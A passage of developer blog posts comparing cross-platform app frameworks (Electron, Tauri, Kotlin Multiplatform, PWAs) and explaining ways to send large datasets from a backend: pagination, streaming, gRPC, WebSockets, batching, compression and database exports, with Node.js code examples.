Use any web framework for UI	Mobile support (Tauri v2) is still maturing
Rust backend = fast + memory safe	No built-in Chromium means no Chrome DevTools Protocol
Active community, rapid development	Some web APIs unavailable in native webviews

Electron — The 800-Pound Gorilla

Electron packages Chromium and Node.js together, letting you build desktop apps with web technologies. It's been around since 2013 (originally Atom Shell) and powers some of the most widely-used desktop apps on the planet.

How Electron Works

┌────────────────────────────────────────────────────┐
│                  ELECTRON APP                      │
│                                                    │
│  ┌──────────────────┐    ┌──────────────────────┐  │
│  │   Main Process   │    │  Renderer Process(es) │  │
│  │   (Node.js)      │◄──►│  (Chromium)           │  │
│  │                  │IPC │                       │  │
│  │ - System APIs    │    │ - Your web UI         │  │
│  │ - File system    │    │ - HTML/CSS/JS         │  │
│  │ - Native menus   │    │ - React/Vue/etc.      │  │
│  │ - Tray icons     │    │ - One per window      │  │
│  └──────────────────┘    └──────────────────────┘  │
│                                                    │
│  ┌────────────────────────────────────────────────┐ │
│  │     Bundled Chromium + Node.js Runtime         │ │
│  │              (~150-300MB)                       │ │
│  └────────────────────────────────────────────────┘ │
└────────────────────────────────────────────────────┘

Apps Built with Electron

Electron has a proven track record:

VS Code — Microsoft's code editor (arguably the best advertisement for Electron)
Discord — Chat/voice application
Slack — Team communication
Figma Desktop — Design tool
Notion — Productivity workspace
1Password (legacy) — Password manager (they've since moved to Tauri/Rust)

When Electron Makes Sense

Electron gets a bad rap for memory usage, and that criticism is fair. But it makes sense when:

You have a large web team and need a desktop app fast
Chrome DevTools compatibility is important (e.g., you need Chrome extensions to work)
Consistent rendering across platforms matters more than resource usage
The app is already a web app and you're wrapping it for desktop distribution

The Resource Elephant in the Room

Let's be honest about the numbers:

Metric	Electron	Tauri	Native
Empty app bundle	~150MB	~3MB	~5-10MB
Idle RAM	~80-150MB	~20-40MB	~10-30MB
Startup time	1-3s	0.3-0.8s	0.1-0.5s
Chromium included	Yes (full)	No (uses OS webview)	N/A

VS Code manages to be great despite Electron's overhead because Microsoft invested heavily in performance optimization. Most teams don't have those resources.

Kotlin Multiplatform — Shared Logic, Native UI

Kotlin Multiplatform (KMP) takes a different approach: instead of sharing the UI, you share the business logic and let each platform render its own native UI.

┌──────────────────────────────────────────────────────┐
│              KOTLIN MULTIPLATFORM                     │
│                                                      │
│  ┌──────────────────────────────────────────────┐    │
│  │            SHARED CODE (Kotlin)              │    │
│  │  - Business logic, data models, networking   │    │
│  │  - Repository layer, use cases               │    │
│  │  - Ktor (HTTP), SQLDelight (DB),             │    │
│  │    kotlinx.serialization                     │    │
│  └────────┬──────────────┬──────────────┬───────┘    │
│           │              │              │            │
│  ┌────────▼─────┐ ┌─────▼──────┐ ┌─────▼──────┐    │
│  │  Android UI  │ │   iOS UI   │ │ Desktop UI │    │
│  │  (Jetpack    │ │  (SwiftUI  │ │ (Compose   │    │
│  │   Compose)   │ │   / UIKit) │ │  Desktop)  │    │
│  └──────────────┘ └────────────┘ └────────────┘    │
└──────────────────────────────────────────────────────┘

// shared/src/commonMain/kotlin/com/myapp/data/UserRepository.kt
class UserRepository(
    private val api: UserApi,
    private val db: UserDatabase
) {
    suspend fun getUser(id: String): User {
        // Try cache first
        val cached = db.getUserById(id)
        if (cached != null && !cached.isStale()) {
            return cached
        }

        // Fetch from network
        val user = api.fetchUser(id)
        db.insertUser(user)
        return user
    }

    fun observeUsers(): Flow<List<User>> = db.observeAllUsers()
}

With Compose Multiplatform, JetBrains extends this to shared UI as well — you can write Jetpack Compose code that runs on Android, iOS, desktop, and web. It's still maturing on iOS, but the trajectory is promising.

KMP: Best For

Teams that are already Kotlin-heavy
Apps where platform-native UI is non-negotiable
Sharing 50-70% of code (business logic) while keeping UI native
Companies invested in the JetBrains/Android ecosystem

PWAs — When a Web App Is Enough

Before reaching for a framework, ask: do you actually need a native app?

Progressive Web Apps can:

Work offline (Service Workers)
Be installed on the home screen
Send push notifications (yes, even on iOS now)
Access cameras, geolocation, sensors
Run in the background

// service-worker.js — basic offline caching
const CACHE_NAME = 'app-v1';
const ASSETS = ['/', '/index.html', '/styles.css', '/app.js'];

self.addEventListener('install', (event) => {
  event.waitUntil(
    caches.open(CACHE_NAME)
      .then(cache => cache.addAll(ASSETS))
  );
});

self.addEventListener('fetch', (event) => {
  event.respondWith(
    caches.match(event.request)
      .then(cached => cached || fetch(event.request))
  );
});

When a PWA is enough: Content apps, dashboards, internal tools, e-commerce, news apps, simple utilities.

When you need native: Heavy animations/games, Bluetooth/NFC, background processing, deep OS integration, App Store presence is critical.

Head-to-Head Comparison

Here's the big comparison table everyone wants:

Factor	Flutter	React Native	Tauri	Electron	KMP
Language	Dart	JS/TS	Rust + Web	JS/TS + Node	Kotlin
Mobile	Excellent	Excellent	Maturing (v2)	No	Excellent
Desktop	Good	Experimental	Excellent	Excellent	Good
Web	OK (canvas)	Limited	N/A	N/A	Maturing
Performance	Excellent	Good	Excellent	Acceptable	Excellent
Bundle Size	Medium (~15MB)	Medium (~10MB)	Tiny (~3MB)	Huge (~150MB)	Small (native)
Native Feel	Custom (pixel-perfect)	Native components	Web in webview	Web in Chromium	Truly native UI
Dev Speed	Fast (hot reload)	Fast (fast refresh)	Medium	Fast	Medium
Ecosystem	Growing (pub.dev)	Massive (npm)	Growing (crates.io)	Massive (npm)	Growing
Learning Curve	Medium (Dart)	Low (if you know React)	High (Rust)	Low	Medium (Kotlin)
Hiring	Moderate	Easy	Hard (Rust devs)	Easy	Moderate
Backed By	Google	Meta	Community + CrabNebula	OpenJS Foundation	JetBrains + Google

What Companies Use What

Real-world adoption tells you a lot:

Company	Framework	Why
Google (Google Pay, Google Ads)	Flutter	Dogfooding their own framework, pixel-perfect UI
Meta (Facebook, Instagram)	React Native	Built it, uses it at scale
Shopify (Shop app)	React Native	Leveraged large web/React team
BMW	Flutter	Consistent in-car + mobile UI
Microsoft (VS Code)	Electron	Maximum web ecosystem compatibility
1Password	Tauri/Rust	Moved from Electron for security + perf
Discord	Electron → Custom	Started Electron, investing in native
Netflix (internal tools)	KMP	Shared business logic across platforms
Nubank	Flutter	Fast iteration, consistent UI
Alibaba	Flutter	High-performance e-commerce UI

Decision Framework

Use this flowchart to narrow things down:

START: What platforms do you need?
│
├─ Mobile only (iOS + Android)?
│  ├─ Team knows React/JS? ──────────► React Native + Expo
│  ├─ Need pixel-perfect custom UI? ─► Flutter
│  ├─ Team knows Kotlin? ────────────► Kotlin Multiplatform
│  └─ It's a content/CRUD app? ──────► Consider PWA first
│
├─ Desktop only (Win + Mac + Linux)?
│  ├─ Performance/security critical? ─► Tauri
│  ├─ Large web team, ship fast? ─────► Electron
│  └─ .NET team? ────────────────────► .NET MAUI
│
├─ Mobile + Desktop?
│  ├─ One UI everywhere? ────────────► Flutter
│  ├─ Share logic, native UI? ───────► Kotlin Multiplatform
│  └─ Separate mobile + desktop? ────► React Native + Tauri
│
└─ Need web too?
   ├─ Web is primary, apps are bonus?► PWA
   ├─ Same UI on all platforms? ─────► Flutter (with caveats on web)
   └─ Web + Mobile? ────────────────► React Native for Web + Mobile

Quick Rules of Thumb

"I need a mobile app and my team knows React" → React Native with Expo
"I need beautiful custom UI on mobile and desktop" → Flutter
"I need a lightweight desktop app" → Tauri
"I need to wrap my web app for desktop distribution" → Electron (or Tauri if you can add Rust)
"I need native-quality UI and I'm a Kotlin shop" → KMP + Compose Multiplatform
"I need something that works offline with push notifications" → Try a PWA first

Common Mistakes to Avoid

1. Picking Based on Hype

Framework popularity cycles move fast. "X is the future!" changes every 18 months. Pick based on your team's skills, your project's actual requirements, and the framework's maturity for your target platforms.

2. Underestimating Platform Nuances

Cross-platform doesn't mean "ignore the platform." iOS users expect a certain navigation pattern. Android users expect the back button to work. macOS users expect Cmd+C. Windows users expect a system tray. You still need to understand each platform's conventions.

3. Assuming "Cross-Platform" Means "Zero Platform-Specific Code"

Realistically, you'll still need 10-25% platform-specific code for things like:

Push notification setup
Deep linking configuration
App Store / Play Store requirements
Platform-specific permissions
OS-specific UI polish

4. Not Prototyping the Hard Parts First

Before committing, build a prototype of your most complex feature — not a todo app. If your app needs Bluetooth, build the Bluetooth part first. If it needs heavy animations, prototype those. The easy parts are easy in every framework.

5. Ignoring the Build & CI/CD Story

Some frameworks have smoother CI/CD stories than others. Expo's EAS Build is turnkey. Flutter's builds are straightforward. Tauri on CI requires Rust toolchain setup. Factor this into your timeline.

Wrapping Up

There's no single "best" cross-platform framework. There's the best one for your team, your project, and your constraints. Here's my honest take:

Flutter is the most versatile — it covers the most platforms with the best quality.
React Native is the most pragmatic — it leverages the largest developer community and ecosystem.
Tauri is the most efficient — if you're building for desktop and can handle Rust, nothing beats it.
Electron is the most proven — it has warts, but it ships products at scale.
KMP is the best compromise — share logic, keep native UI, especially if you're in the Kotlin ecosystem.

The key isn't finding the perfect framework. It's understanding the trade-offs well enough to make an informed choice — and then committing to it and building something great.

Let's Connect!

If you found this guide helpful, I'd love to connect with you! I regularly share deep dives on system design, backend engineering, and software architecture.

Connect with me on LinkedIn — let's grow together.

Drop a comment, share this with someone who needs this, and follow along for more guides like this!

Sending a Million Rows from the Backend: Streaming, Batching, Compression & Protocol Buffers

Ishaan Pandey — Sat, 21 Mar 2026 11:19:58 +0000

Sending a Million Rows from the Backend: Streaming, Batching, Compression & Protocol Buffers

Your database has a million rows. Your client needs them. What could go wrong?

Everything, actually. If you try to serialize a million rows into a single JSON response, you'll blow up your server's memory, timeout the request, make the client wait forever, and then crash the browser trying to parse a 500 MB JSON blob.

Sending large datasets is a problem that touches every layer: the database, the serialization format, the transport protocol, compression, and how you structure the data flow. Get any of these wrong and your system falls over.

This guide covers every major approach — from pagination basics to gRPC streaming, from backpressure management to Parquet exports. With real code, real benchmarks, and real-world examples.

Let's get into it.

The Problem: Why One Giant JSON Response Is a Terrible Idea

Here's the naive approach:

app.get('/api/users', async (req, res) => {
  const users = await db.query('SELECT * FROM users'); // 1M rows
  res.json(users); // 💀
});

Let's trace what happens:

┌──────────────────────────────────────────────────────┐
│              The Disaster Timeline                     │
├──────────────────────────────────────────────────────┤
│                                                       │
│  1. Database query executes                           │
│     └─ All 1M rows loaded into server memory          │
│     └─ ~500 MB - 2 GB of RAM consumed                 │
│                                                       │
│  2. JSON.stringify() runs                             │
│     └─ Blocks the event loop for 5-30 seconds         │
│     └─ Allocates another ~500 MB for the string       │
│                                                       │
│  3. Response sent over the network                    │
│     └─ Client waits for entire payload                │
│     └─ 500 MB over the wire (even compressed: ~50 MB) │
│     └─ Timeout risk: most proxies cut at 30-60s       │
│                                                       │
│  4. Client receives and parses                        │
│     └─ JSON.parse() on 500 MB string                  │
│     └─ Browser allocates ~1-2 GB for parsed objects   │
│     └─ Tab crashes or becomes unresponsive            │
│                                                       │
│  Peak server memory: ~1-2 GB PER REQUEST              │
│  10 concurrent requests = 10-20 GB = server OOM       │
└──────────────────────────────────────────────────────┘

The Numbers

Metric	1K Rows	100K Rows	1M Rows
JSON size (uncompressed)	~500 KB	~50 MB	~500 MB
JSON size (gzipped)	~50 KB	~5 MB	~50 MB
Serialization time	~5 ms	~500 ms	~5,000 ms
Parse time (client)	~10 ms	~1,000 ms	~10,000 ms
Server memory	~2 MB	~200 MB	~2 GB
Network time (100 Mbps)	~4 ms	~400 ms	~4,000 ms

At 1M rows, every step is a bottleneck. You need a different strategy.

Technique 1: Pagination

The simplest solution: don't send everything at once.

Offset Pagination

-- Page 1
SELECT * FROM users ORDER BY id LIMIT 50 OFFSET 0;

-- Page 2
SELECT * FROM users ORDER BY id LIMIT 50 OFFSET 50;

-- Page 200
SELECT * FROM users ORDER BY id LIMIT 50 OFFSET 9950;

// Express endpoint
app.get('/api/users', async (req, res) => {
  const page = parseInt(req.query.page) || 1;
  const limit = Math.min(parseInt(req.query.limit) || 50, 200);
  const offset = (page - 1) * limit;

  const [rows] = await db.query(
    'SELECT * FROM users ORDER BY id LIMIT ? OFFSET ?',
    [limit, offset]
  );

  const [countResult] = await db.query(
    'SELECT COUNT(*) as total FROM users'
  );

  res.json({
    data: rows,
    pagination: {
      page,
      limit,
      total: countResult[0].total,
      totalPages: Math.ceil(countResult[0].total / limit),
    },
  });
});

The problem with offset pagination: the database still scans and discards rows. OFFSET 999950 means the DB reads 999,950 rows and throws them away. At scale, this gets slow.

Cursor-Based (Keyset) Pagination

Far more efficient — uses an indexed column as a cursor:

-- First page
SELECT * FROM users ORDER BY id LIMIT 50;

-- Next page (cursor = last row's id from previous page)
SELECT * FROM users WHERE id > 12345 ORDER BY id LIMIT 50;

app.get('/api/users', async (req, res) => {
  const limit = Math.min(parseInt(req.query.limit) || 50, 200);
  const cursor = req.query.cursor; // last seen ID

  let query, params;
  if (cursor) {
    query = 'SELECT * FROM users WHERE id > ? ORDER BY id LIMIT ?';
    params = [cursor, limit + 1]; // fetch one extra to check hasMore
  } else {
    query = 'SELECT * FROM users ORDER BY id LIMIT ?';
    params = [limit + 1];
  }

  const [rows] = await db.query(query, params);
  const hasMore = rows.length > limit;
  const data = hasMore ? rows.slice(0, -1) : rows;

  res.json({
    data,
    pagination: {
      nextCursor: hasMore ? data[data.length - 1].id : null,
      hasMore,
    },
  });
});

Pagination Comparison

Aspect	Offset	Cursor	Keyset
Performance at depth	O(offset + limit)	O(limit)	O(limit)
Jump to page N	Yes	No	No
Consistent with inserts/deletes	No (rows shift)	Yes	Yes
Requires unique sort column	No	Yes	Yes
Implementation complexity	Simple	Moderate	Moderate
Works with complex sorts	Yes	Tricky	Tricky

Pagination is the right answer for most use cases. But when the client genuinely needs all the data (exports, analytics, bulk operations), you need streaming.

Technique 2: Streaming Responses

Instead of building the entire response in memory, stream rows as they become available.

NDJSON (Newline-Delimited JSON)

Each line is a valid JSON object. The client processes rows incrementally:

{"id": 1, "name": "Alice", "email": "alice@example.com"}
{"id": 2, "name": "Bob", "email": "bob@example.com"}
{"id": 3, "name": "Charlie", "email": "charlie@example.com"}

// Express + streaming from database
app.get('/api/users/stream', async (req, res) => {
  res.setHeader('Content-Type', 'application/x-ndjson');
  res.setHeader('Transfer-Encoding', 'chunked');

  const stream = db.query('SELECT * FROM users').stream();

  stream.on('data', (row) => {
    res.write(JSON.stringify(row) + '\n');
  });

  stream.on('end', () => {
    res.end();
  });

  stream.on('error', (err) => {
    console.error('Stream error:', err);
    if (!res.headersSent) {
      res.status(500).json({ error: 'Stream failed' });
    } else {
      res.end();
    }
  });
});

Client-side consumption:

async function consumeNDJSON(url, onRow) {
  const response = await fetch(url);
  const reader = response.body.getReader();
  const decoder = new TextDecoder();
  let buffer = '';

  while (true) {
    const { done, value } = await reader.read();
    if (done) break;

    buffer += decoder.decode(value, { stream: true });
    const lines = buffer.split('\n');
    buffer = lines.pop(); // keep incomplete line in buffer

    for (const line of lines) {
      if (line.trim()) {
        onRow(JSON.parse(line));
      }
    }
  }

  // Process any remaining data
  if (buffer.trim()) {
    onRow(JSON.parse(buffer));
  }
}

// Usage
const rows = [];
await consumeNDJSON('/api/users/stream', (row) => {
  rows.push(row);
  if (rows.length % 1000 === 0) {
    updateProgress(rows.length);
  }
});

Node.js Streams with Transform

A more idiomatic Node.js approach using stream pipelines:

import { Transform, pipeline } from 'node:stream';
import { promisify } from 'node:util';

const pipelineAsync = promisify(pipeline);

app.get('/api/users/stream', async (req, res) => {
  res.setHeader('Content-Type', 'application/x-ndjson');

  const dbStream = db.query('SELECT * FROM users').stream();

  const toNDJSON = new Transform({
    objectMode: true,
    transform(row, encoding, callback) {
      callback(null, JSON.stringify(row) + '\n');
    },
  });

  try {
    await pipelineAsync(dbStream, toNDJSON, res);
  } catch (err) {
    console.error('Pipeline error:', err);
  }
});

Server-Sent Events (SSE)

Good for pushing data to the client with automatic reconnection:

app.get('/api/users/sse', async (req, res) => {
  res.setHeader('Content-Type', 'text/event-stream');
  res.setHeader('Cache-Control', 'no-cache');
  res.setHeader('Connection', 'keep-alive');

  const stream = db.query('SELECT * FROM users').stream();
  let count = 0;

  stream.on('data', (row) => {
    count++;
    res.write(`data: ${JSON.stringify(row)}\n\n`);

    // Send progress events every 1000 rows
    if (count % 1000 === 0) {
      res.write(`event: progress\ndata: ${JSON.stringify({ count })}\n\n`);
    }
  });

  stream.on('end', () => {
    res.write(`event: complete\ndata: ${JSON.stringify({ total: count })}\n\n`);
    res.end();
  });

  // Handle client disconnect
  req.on('close', () => {
    stream.destroy();
  });
});

// Client
const source = new EventSource('/api/users/sse');
const rows = [];

source.onmessage = (e) => {
  rows.push(JSON.parse(e.data));
};

source.addEventListener('progress', (e) => {
  console.log(`Received ${JSON.parse(e.data).count} rows`);
});

source.addEventListener('complete', (e) => {
  console.log(`Done! Total: ${JSON.parse(e.data).total}`);
  source.close();
});

Fastify Streaming

Fastify has great streaming support out of the box:

import Fastify from 'fastify';
import { Readable } from 'node:stream';

const app = Fastify();

app.get('/api/users/stream', async (request, reply) => {
  const dbStream = db.query('SELECT * FROM users').stream();

  const ndjsonStream = new Readable({
    read() {},
  });

  dbStream.on('data', (row) => {
    ndjsonStream.push(JSON.stringify(row) + '\n');
  });

  dbStream.on('end', () => {
    ndjsonStream.push(null);
  });

  reply.type('application/x-ndjson');
  return reply.send(ndjsonStream);
});

Streaming Memory Comparison

Traditional (buffer everything):

  Memory ─┐
     2 GB │          ┌──────────┐
     1 GB │     ┌────┤  Stringify│──┐
  500 MB  │ ┌───┤ DB  │          │  ├──── Send
          │ │   │Query│          │  │
     0    └─┴───┴─────┴──────────┴──┴──→ Time

Streaming:

  Memory ─┐
    20 MB │  ┌─┐ ┌─┐ ┌─┐ ┌─┐ ┌─┐ ┌─┐
    10 MB │──┤ ├─┤ ├─┤ ├─┤ ├─┤ ├─┤ ├──
          │  └─┘ └─┘ └─┘ └─┘ └─┘ └─┘
     0    └────────────────────────────→ Time
          Each chunk: ~few KB
          Total memory: ~10-20 MB constant

The key insight: with streaming, memory usage is constant regardless of dataset size. You process rows one (or a few) at a time.

Technique 3: HTTP Streaming with Transfer-Encoding: chunked

Under the hood, HTTP streaming uses chunked transfer encoding. This is what makes NDJSON and SSE work.

Normal HTTP Response:
  Content-Length: 524288000  ← Server must know total size upfront
  [... 500 MB of data ...]

Chunked Transfer:
  Transfer-Encoding: chunked

  1a4\r\n                    ← Chunk size in hex (420 bytes)
  {"id":1,"name":"Alice"...}\n
  {"id":2,"name":"Bob"...}\n
  \r\n
  1b2\r\n                    ← Next chunk
  {"id":3,"name":"Charlie"...}\n
  ...
  \r\n
  0\r\n                      ← Zero-length chunk = end
  \r\n

In Express, this happens automatically when you use res.write() instead of res.json():

app.get('/api/data', (req, res) => {
  // res.json(bigData)   — buffers everything, sends Content-Length
  // res.write(chunk)     — streams, uses Transfer-Encoding: chunked

  res.setHeader('Content-Type', 'application/json');
  res.write('[');  // Start JSON array

  let first = true;
  const stream = db.query('SELECT * FROM items').stream();

  stream.on('data', (row) => {
    if (!first) res.write(',');
    first = false;
    res.write(JSON.stringify(row));
  });

  stream.on('end', () => {
    res.write(']');
    res.end();
  });
});

Note: streaming a JSON array like this means the client can't parse until the entire array is received (no incremental JSON.parse). That's why NDJSON is usually better for streaming.

Technique 4: gRPC Server Streaming

gRPC with Protocol Buffers is purpose-built for streaming large datasets efficiently.

Define the Protocol

// users.proto
syntax = "proto3";

package users;

service UserService {
  // Unary — traditional request/response
  rpc GetUser (GetUserRequest) returns (User);

  // Server streaming — server sends many messages
  rpc ListUsers (ListUsersRequest) returns (stream User);

  // Bidirectional streaming
  rpc SyncUsers (stream SyncRequest) returns (stream SyncResponse);
}

message ListUsersRequest {
  int32 batch_size = 1;
  string filter = 2;
}

message User {
  int64 id = 1;
  string name = 2;
  string email = 3;
  double balance = 4;
  int64 created_at = 5;
}

Server Implementation (Node.js)

import grpc from '@grpc/grpc-js';
import protoLoader from '@grpc/proto-loader';

const packageDef = protoLoader.loadSync('users.proto');
const proto = grpc.loadPackageDefinition(packageDef);

const server = new grpc.Server();

server.addService(proto.users.UserService.service, {
  listUsers: async (call) => {
    const batchSize = call.request.batch_size || 1000;
    const dbStream = db.query('SELECT * FROM users').stream();
    let batch = [];

    dbStream.on('data', (row) => {
      call.write({
        id: row.id,
        name: row.name,
        email: row.email,
        balance: row.balance,
        created_at: row.created_at.getTime(),
      });
    });

    dbStream.on('end', () => {
      call.end();
    });

    dbStream.on('error', (err) => {
      call.destroy(err);
    });

    // Handle client cancellation
    call.on('cancelled', () => {
      dbStream.destroy();
    });
  },
});

server.bindAsync(
  '0.0.0.0:50051',
  grpc.ServerCredentials.createInsecure(),
  () => server.start()
);

Client Consumption

const client = new proto.users.UserService(
  'localhost:50051',
  grpc.credentials.createInsecure()
);

const stream = client.listUsers({ batch_size: 1000 });
const rows = [];

stream.on('data', (user) => {
  rows.push(user);
});

stream.on('end', () => {
  console.log(`Received ${rows.length} users`);
});

stream.on('error', (err) => {
  console.error('Stream error:', err);
});

Why gRPC Is Faster

JSON over HTTP:
  {"id":12345,"name":"Alice Johnson","email":"alice@example.com","balance":1234.56}
  = 82 bytes (human-readable, lots of repeated keys)

Protocol Buffers:
  08 B9 60 12 0D 41 6C 69 63 65 20 4A 6F 68 6E 73 6F 6E ...
  = ~45 bytes (binary, no keys, varint encoding)

Savings: ~45% smaller per row
At 1M rows: ~40 MB saved on the wire

Technique 5: WebSockets for Real-Time Large Data

When you need bidirectional communication or real-time updates on large datasets:

import { WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 8080 });

wss.on('connection', (ws) => {
  ws.on('message', async (message) => {
    const request = JSON.parse(message);

    if (request.type === 'fetch-all') {
      const stream = db.query('SELECT * FROM transactions').stream();
      let batch = [];
      let batchCount = 0;

      stream.on('data', (row) => {
        batch.push(row);

        // Send in batches of 500 to reduce message overhead
        if (batch.length >= 500) {
          ws.send(JSON.stringify({
            type: 'batch',
            data: batch,
            batchNumber: ++batchCount,
          }));
          batch = [];
        }
      });

      stream.on('end', () => {
        // Send remaining rows
        if (batch.length > 0) {
          ws.send(JSON.stringify({
            type: 'batch',
            data: batch,
            batchNumber: ++batchCount,
          }));
        }
        ws.send(JSON.stringify({
          type: 'complete',
          totalBatches: batchCount,
        }));
      });
    }
  });
});

When to Use WebSockets vs HTTP Streaming

Aspect	HTTP Streaming	WebSocket
Direction	Server → Client	Bidirectional
Connection overhead	New connection per request	Persistent connection
Resumability	Must restart	Can implement resume
Proxy compatibility	Excellent	Sometimes problematic
Browser support	Universal	Universal
Backpressure	HTTP flow control	Manual implementation
Best for	One-time data exports	Real-time dashboards, live feeds

Technique 6: Batching Strategies

Optimal Chunk Size

Too small = overhead per batch dominates. Too large = high memory usage. The sweet spot depends on row size:

┌────────────────────────────────────────────────────┐
│          Throughput vs Batch Size                    │
│                                                     │
│  Throughput                                         │
│  (rows/s)                                           │
│     │         ┌──────────────┐                      │
│  80K│         │              │                      │
│     │      ┌──┘              └──────────┐           │
│  60K│   ┌──┘                            └──┐        │
│     │┌──┘                                  └──┐     │
│  40K││                                        └──   │
│     ││                                              │
│  20K││                                              │
│     │└─────┬──────┬─────┬──────┬──────┬─────┬───    │
│     0     100    500   1000   5000  10000  50000    │
│                  Batch size (rows)                   │
│                                                     │
│  Sweet spot: 500–5,000 rows per batch               │
│  (depends on row size and network conditions)       │
└────────────────────────────────────────────────────┘

// Adaptive batching based on row size
function calculateBatchSize(avgRowSizeBytes) {
  const TARGET_CHUNK_KB = 256; // target ~256 KB per batch
  const targetBytes = TARGET_CHUNK_KB * 1024;
  const batchSize = Math.floor(targetBytes / avgRowSizeBytes);
  return Math.max(100, Math.min(batchSize, 10000)); // clamp 100–10,000
}

Backpressure-Aware Batching

If you send faster than the client can consume, you'll buffer everything in memory anyway. This is backpressure — and you need to handle it:

app.get('/api/export', async (req, res) => {
  const dbStream = db.query('SELECT * FROM orders').stream();

  dbStream.on('data', (row) => {
    const canContinue = res.write(JSON.stringify(row) + '\n');

    if (!canContinue) {
      // The write buffer is full — pause the database stream
      dbStream.pause();

      // Resume when the buffer drains
      res.once('drain', () => {
        dbStream.resume();
      });
    }
  });

  dbStream.on('end', () => res.end());
});

This is critical. Without backpressure handling, a slow client causes the server to buffer everything in memory — defeating the purpose of streaming.

Technique 7: Compression

Compressing the response can reduce bandwidth by 70-95% for JSON data.

Compression Algorithms Compared

Algorithm	Compression Ratio	Compress Speed	Decompress Speed	Best For
gzip	Good (70-80%)	Moderate	Fast	General purpose, widest support
Brotli	Better (75-85%)	Slow	Fast	Static assets, pre-compressed
zstd	Better (75-85%)	Fast	Very Fast	Real-time compression, logs
lz4	Moderate (60-70%)	Very Fast	Very Fast	Speed-critical, large volumes

Benchmarks with 1M Rows of User Data

Original JSON:      487 MB (100%)
┌───────────────────────────────────────────────────┐
│ gzip -6:           52 MB (10.7%)  compress: 4.2s  │
│ gzip -9:           48 MB ( 9.9%)  compress: 8.1s  │
│ brotli -6:         43 MB ( 8.8%)  compress: 6.5s  │
│ brotli -11:        38 MB ( 7.8%)  compress: 42s   │
│ zstd -3:           49 MB (10.1%)  compress: 1.8s  │
│ zstd -9:           42 MB ( 8.6%)  compress: 5.2s  │
│ NDJSON + gzip -6:  54 MB (11.1%)  compress: 4.0s  │
│ Protobuf (raw):   265 MB (54.4%)  serialize: 1.2s │
│ Protobuf + gzip:   31 MB ( 6.4%)  total: 3.1s     │
└───────────────────────────────────────────────────┘

Protobuf + gzip is the most compact option. Plain gzip gives the best effort-to-reward ratio.

Enabling Compression in Express

import compression from 'compression';

// Global compression middleware
app.use(compression({
  level: 6,                    // gzip level (1-9)
  threshold: 1024,             // only compress responses > 1 KB
  filter: (req, res) => {
    if (req.headers['x-no-compression']) return false;
    return compression.filter(req, res);
  },
}));

// Or per-route with streaming
import { createGzip } from 'node:zlib';

app.get('/api/export', async (req, res) => {
  res.setHeader('Content-Type', 'application/x-ndjson');
  res.setHeader('Content-Encoding', 'gzip');

  const gzip = createGzip({ level: 6 });
  const dbStream = db.query('SELECT * FROM users').stream();

  const transform = new Transform({
    objectMode: true,
    transform(row, enc, cb) {
      cb(null, JSON.stringify(row) + '\n');
    },
  });

  pipeline(dbStream, transform, gzip, res, (err) => {
    if (err) console.error('Pipeline failed:', err);
  });
});

Streaming Compression Considerations

When compressing a stream, the compressor needs enough data to build its dictionary. With very small chunks, compression ratio suffers:

// Bad: compress each row individually (poor ratio)
stream.on('data', (row) => {
  const compressed = gzipSync(JSON.stringify(row));
  res.write(compressed);
});

// Good: let the gzip stream accumulate data internally
const gzip = createGzip({ level: 6, flush: constants.Z_SYNC_FLUSH });
pipeline(dataStream, gzip, res, () => {});
// Z_SYNC_FLUSH ensures data is flushed periodically so the client
// can start processing without waiting for the entire stream

Technique 8: Serialization Format Comparison

JSON isn't the only option. Here's how formats compare:

Size Comparison (1M Rows)

Format	Size	Parse Time (client)	Schema Required
JSON	487 MB	~10s	No
NDJSON	487 MB	~10s (streamable)	No
Protocol Buffers	265 MB	~2s	Yes (.proto)
MessagePack	310 MB	~4s	No
CBOR	320 MB	~4s	No
Avro	250 MB	~2s	Yes
FlatBuffers	280 MB	~0s (zero-copy)	Yes

MessagePack Example

Binary JSON — smaller, faster, drop-in replacement:

import msgpack from '@msgpack/msgpack';

// Server
app.get('/api/users/msgpack', async (req, res) => {
  const users = await db.query('SELECT * FROM users LIMIT 10000');
  const encoded = msgpack.encode(users);

  res.setHeader('Content-Type', 'application/x-msgpack');
  res.send(Buffer.from(encoded));
});

// Client
const response = await fetch('/api/users/msgpack');
const buffer = await response.arrayBuffer();
const users = msgpack.decode(new Uint8Array(buffer));

When to Use What

┌─────────────────────────────────────────────────────┐
│                Format Decision Tree                  │
│                                                      │
│  Do you need browser-native parsing?                 │
│  ├─ Yes → JSON or NDJSON                             │
│  └─ No                                               │
│     │                                                │
│     ├─ Do you control both client and server?         │
│     │  ├─ Yes → Protocol Buffers (best size + speed)  │
│     │  └─ No → MessagePack (schemaless, still small)  │
│     │                                                │
│     └─ Do you need zero-copy access?                  │
│        ├─ Yes → FlatBuffers                           │
│        └─ No → Protocol Buffers                       │
└─────────────────────────────────────────────────────┘

Technique 9: Database-Level Optimization

The fastest byte is the one you never send. Optimize at the database level first.

Streaming from PostgreSQL

import pg from 'pg';
import QueryStream from 'pg-query-stream';

const pool = new pg.Pool({ connectionString: process.env.DATABASE_URL });

app.get('/api/export', async (req, res) => {
  const client = await pool.connect();

  try {
    const query = new QueryStream(
      'SELECT id, name, email FROM users ORDER BY id',
      [],
      { batchSize: 1000 } // fetch 1000 rows at a time from PG
    );

    const stream = client.query(query);

    res.setHeader('Content-Type', 'application/x-ndjson');

    stream.on('data', (row) => {
      res.write(JSON.stringify(row) + '\n');
    });

    stream.on('end', () => {
      client.release();
      res.end();
    });

    stream.on('error', (err) => {
      client.release();
      res.status(500).end();
    });
  } catch (err) {
    client.release();
    throw err;
  }
});

PostgreSQL COPY Command

For bulk exports, COPY is orders of magnitude faster than SELECT:

import { pipeline } from 'node:stream/promises';
import copyFrom from 'pg-copy-streams';

app.get('/api/export/csv', async (req, res) => {
  const client = await pool.connect();

  try {
    res.setHeader('Content-Type', 'text/csv');
    res.setHeader('Content-Disposition', 'attachment; filename="export.csv"');

    const copyStream = client.query(
      copyFrom.to("COPY users TO STDOUT WITH (FORMAT csv, HEADER true)")
    );

    await pipeline(copyStream, res);
  } finally {
    client.release();
  }
});

COPY bypasses the query executor and reads directly from the storage layer. Benchmarks:

1M rows export:
  SELECT + JSON serialize:  ~12 seconds
  SELECT + stream:          ~8 seconds
  COPY to CSV:              ~2 seconds
  COPY to binary:           ~1.2 seconds

MySQL Streaming

import mysql from 'mysql2';

const pool = mysql.createPool({
  host: 'localhost',
  user: 'root',
  database: 'mydb',
});

app.get('/api/export', (req, res) => {
  res.setHeader('Content-Type', 'application/x-ndjson');

